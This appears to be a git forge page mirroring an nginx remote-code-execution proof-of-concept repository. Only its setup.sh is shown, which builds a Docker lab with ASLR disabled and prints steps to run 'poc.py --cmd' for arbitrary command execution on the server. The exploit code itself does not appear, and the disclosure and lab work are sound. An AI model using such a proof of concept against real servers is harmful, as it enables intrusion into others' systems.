milliways-infosec/CVE-2026-42945_RCE_in_Nginx-Rift
5
0
Fork 0
mirror of https://github.com/DepthFirstDisclosures/Nginx-Rift.git synced 2026-05-16 11:07:44 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

init

Browse source
This commit is contained in:
Markakd 2026-05-12 16:36:31 -07:00
commit 90f4b4a302
8 changed files with 393 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

19
setup.sh Executable file
View file

@ -0,0 +1,19 @@
#!/bin/bash
set -e
cd "$(dirname "$0")"
echo "Building Docker image (compiles nginx from source)..."
docker compose build
echo ""
echo "Done. To run:"
echo ""
echo " # Terminal 1 (server) — nginx runs with ASLR disabled (setarch -R):"
echo " docker compose up"
echo ""
echo " # Terminal 2 (attacker):"
echo " python3 poc.py --cmd 'touch /tmp/pwned'"
echo ""
echo " # Verify RCE:"
echo " docker compose exec nginx ls -la /tmp/pwned"
echo " docker compose exec nginx cat /tmp/pwned"